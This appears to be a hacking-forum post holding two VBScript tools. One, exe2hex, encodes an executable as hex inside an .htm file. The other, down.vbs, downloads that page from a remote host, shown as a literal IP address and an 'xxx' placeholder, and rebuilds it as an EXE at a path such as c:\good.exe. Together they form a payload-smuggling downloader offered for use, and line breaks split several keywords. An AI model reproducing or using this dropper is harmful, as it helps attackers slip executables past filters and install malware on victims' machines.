exe2hex.
'code by xiaolu
'change by NetPatch
on error resume next
set
arg=wscript.
arguments
if arg.count=0 then wscript.qu
IT do while 1
fn
ame=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Ty
PE = 1
.open
.load
Fromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.File
SystemObject")
Set File=fso.OpenTextFile(arg(0)&am
p;".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
BT = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set M
ail1 = CreateObject("CDO.Message")
Mail1.CreateMHT
MLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Reco
rdset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&C
hrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
2.down.vbs http://xxx/demo.htm c:\good.exe